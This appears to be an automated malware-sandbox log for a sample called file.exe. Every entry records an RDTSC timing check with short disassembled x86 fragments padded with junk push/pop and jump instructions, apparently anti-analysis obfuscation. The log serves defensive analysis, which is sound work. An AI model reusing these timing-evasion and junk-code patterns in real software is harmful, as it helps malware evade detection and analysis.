Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA340C second address: AE7D0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push dword ptr [ebp+122D0DDDh] 0x0000000f jmp 00007FDDB4D5DC04h 0x00000014 pushad 0x00000015 push edi 0x00000016 pop ebx 0x00000017 or bx, 76C1h 0x0000001c popad 0x0000001d call dword ptr [ebp+122D1885h] 0x00000023 pushad 0x00000024 add dword ptr [ebp+122D189Bh], ecx 0x0000002a sub dword ptr [ebp+122D189Bh], edx 0x00000030 xor eax, eax 0x00000032 pushad 0x00000033 mov ecx, dword ptr [ebp+122D2A06h] 0x00000039 jmp 00007FDDB4D5DC09h 0x0000003e popad 0x0000003f mov edx, dword ptr [esp+28h] 0x00000043 cmc 0x00000044 cld 0x00000045 mov dword ptr [ebp+122D2D32h], eax 0x0000004b mov dword ptr [ebp+122D1A53h], edi 0x00000051 mov esi, 0000003Ch 0x00000056 sub dword ptr [ebp+122D1A53h], eax 0x0000005c add esi, dword ptr [esp+24h] 0x00000060 mov dword ptr [ebp+122D189Bh], edi 0x00000066 lodsw 0x00000068 mov dword ptr [ebp+122D1A53h], eax 0x0000006e add eax, dword ptr [esp+24h] 0x00000072 mov dword ptr [ebp+122D1A53h], edi 0x00000078 mov ebx, dword ptr [esp+24h] 0x0000007c stc 0x0000007d nop 0x0000007e pushad 0x0000007f pushad 0x00000080 jmp 00007FDDB4D5DBFFh 0x00000085 jmp 00007FDDB4D5DC06h 0x0000008a popad 0x0000008b jo 00007FDDB4D5DBFCh 0x00000091 push eax 0x00000092 push edx 0x00000093 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3504 second address: CA3508 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3508 second address: CA350C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA350C second address: AE7D0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov edi, dword ptr [ebp+122D2D0Eh] 0x0000000e push dword ptr [ebp+122D0DDDh] 0x00000014 mov cx, si 0x00000017 call dword ptr [ebp+122D1885h] 0x0000001d pushad 0x0000001e add dword ptr [ebp+122D189Bh], ecx 0x00000024 sub dword ptr [ebp+122D189Bh], edx 0x0000002a xor eax, eax 0x0000002c pushad 0x0000002d mov ecx, dword ptr [ebp+122D2A06h] 0x00000033 jmp 00007FDDB4F285A9h 0x00000038 popad 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d cmc 0x0000003e cld 0x0000003f mov dword ptr [ebp+122D2D32h], eax 0x00000045 mov dword ptr [ebp+122D1A53h], edi 0x0000004b mov esi, 0000003Ch 0x00000050 sub dword ptr [ebp+122D1A53h], eax 0x00000056 add esi, dword ptr [esp+24h] 0x0000005a mov dword ptr [ebp+122D189Bh], edi 0x00000060 lodsw 0x00000062 mov dword ptr [ebp+122D1A53h], eax 0x00000068 add eax, dword ptr [esp+24h] 0x0000006c mov dword ptr [ebp+122D1A53h], edi 0x00000072 mov ebx, dword ptr [esp+24h] 0x00000076 stc 0x00000077 nop 0x00000078 pushad 0x00000079 pushad 0x0000007a jmp 00007FDDB4F2859Fh 0x0000007f jmp 00007FDDB4F285A6h 0x00000084 popad 0x00000085 jo 00007FDDB4F2859Ch 0x0000008b push eax 0x0000008c push edx 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA363D second address: CA3647 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDDB4D5DBF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3647 second address: CA364D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3792 second address: CA37C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FDDB4D5DC06h 0x0000000c jmp 00007FDDB4D5DC00h 0x00000011 popad 0x00000012 push eax 0x00000013 jmp 00007FDDB4D5DBFFh 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f push edx 0x00000020 pop edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA39B2 second address: CA39B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA39B7 second address: CA39BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3CFB second address: CA3D0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDB4F285A0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3D0F second address: CA3D13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA40D9 second address: CA4153 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F285A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jl 00007FDDB4F2859Eh 0x00000010 push eax 0x00000011 jo 00007FDDB4F28596h 0x00000017 pop eax 0x00000018 nop 0x00000019 mov dword ptr [ebp+122D188Ch], ecx 0x0000001f lea eax, dword ptr [ebp+1248ECF9h] 0x00000025 mov dword ptr [ebp+122D28BEh], eax 0x0000002b push eax 0x0000002c jmp 00007FDDB4F285A5h 0x00000031 mov dword ptr [esp], eax 0x00000034 mov dword ptr [ebp+12459285h], edi 0x0000003a lea eax, dword ptr [ebp+1248ECB5h] 0x00000040 mov cx, ax 0x00000043 nop 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007FDDB4F285A0h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA4153 second address: CA4178 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FDDB4D5DC04h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jp 00007FDDB4D5DC0Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE648E second address: CE649C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDDB4F28596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE649C second address: CE64A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE99ED second address: CE99F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC7D2 second address: CEC800 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDDB4D5DBFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d ja 00007FDDB4D5DBF6h 0x00000013 jg 00007FDDB4D5DBF6h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b popad 0x0000001c jl 00007FDDB4D5DBFCh 0x00000022 jg 00007FDDB4D5DBF6h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC800 second address: CEC81C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDB4F285A8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC81C second address: CEC820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC820 second address: CEC836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDDB4F2859Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC390 second address: CEC394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF789 second address: CEF793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDDB4F28596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF793 second address: CEF797 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF797 second address: CEF7A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF168 second address: CEF16E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF2B2 second address: CEF2BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FDDB4F28596h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF2BD second address: CEF2F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4D5DBFAh 0x00000007 jmp 00007FDDB4D5DC02h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDDB4D5DC04h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF45A second address: CEF492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDB4F285A5h 0x00000009 jnc 00007FDDB4F28596h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDDB4F285A6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4267 second address: CF42A2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnp 00007FDDB4D5DBF6h 0x00000009 pop esi 0x0000000a push esi 0x0000000b jmp 00007FDDB4D5DC01h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pop esi 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jg 00007FDDB4D5DBF6h 0x0000001f jmp 00007FDDB4D5DC00h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF42A2 second address: CF42A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF42A6 second address: CF42B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FDDB4D5DBF8h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF42B4 second address: CF42BE instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDDB4F285A2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF42BE second address: CF42C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4419 second address: CF4439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FDDB4F285A8h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4439 second address: CF443F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF45A1 second address: CF45B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDB4F2859Ah 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF45B1 second address: CF45B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7E28 second address: CF7E2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7E2E second address: CF7E34 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7E34 second address: CF7E4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDB4F285A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7E4C second address: CF7E52 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7F8B second address: CF7F9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F2859Ch 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFEED0 second address: CFEEE0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FDDB4D5DC15h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFEEE0 second address: CFEF01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDB4F285A9h 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFEF01 second address: CFEF05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFEF05 second address: CFEF21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FDDB4F2859Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jbe 00007FDDB4F285B1h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3BCF second address: CA3C28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 jmp 00007FDDB4D5DC05h 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007FDDB4D5DBF8h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 push 00000004h 0x00000028 mov ecx, dword ptr [ebp+122D29FEh] 0x0000002e push eax 0x0000002f pushad 0x00000030 jmp 00007FDDB4D5DBFDh 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0048F second address: D0049C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FDDB4F28596h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0049C second address: D004BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDB4D5DC09h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D004BD second address: D004C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C62AD3 second address: C62AD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C62AD8 second address: C62ADD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C62ADD second address: C62B15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 jmp 00007FDDB4D5DC05h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDDB4D5DC08h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C62B15 second address: C62B23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0767E second address: D07682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07682 second address: D0768C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDDB4F28596h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D05944 second address: D05958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDB4D5DBFFh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D05958 second address: D05962 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FDDB4F28596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D05962 second address: D05966 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D05D45 second address: D05D49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D05D49 second address: D05D4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06ADF second address: D06AE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06DDA second address: D06DE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B16E second address: D0B172 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B6C2 second address: D0B6C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B6C6 second address: D0B6F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FDDB4F2859Ah 0x0000000c jng 00007FDDB4F28598h 0x00000012 jmp 00007FDDB4F285A2h 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b push edx 0x0000001c pop edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B6F8 second address: D0B6FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B6FC second address: D0B70D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDDB4F28596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B9D5 second address: D0B9DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B9DB second address: D0B9DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B9DF second address: D0B9F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FDDB4D5DBFAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BB72 second address: D0BB7D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BB7D second address: D0BB83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BB83 second address: D0BB8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BCF3 second address: D0BD2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4D5DC02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jg 00007FDDB4D5DBF6h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007FDDB4D5DBFEh 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jo 00007FDDB4D5DBF6h 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BD2F second address: D0BD33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BD33 second address: D0BD3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1089E second address: D108A4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17342 second address: D17358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FDDB4D5DBF6h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDDB4D5DBFAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17358 second address: D1735C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1735C second address: D17364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17364 second address: D1736A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1768D second address: D1769E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jns 00007FDDB4D5DBFCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1796D second address: D179B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F2859Ch 0x00000007 jmp 00007FDDB4F285A1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007FDDB4F2859Bh 0x00000015 je 00007FDDB4F28596h 0x0000001b jnp 00007FDDB4F28596h 0x00000021 jng 00007FDDB4F28596h 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a jc 00007FDDB4F28596h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17C86 second address: D17C8F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17DF7 second address: D17E0F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDDB4F28596h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FDDB4F2859Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17E0F second address: D17E14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17E14 second address: D17E1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
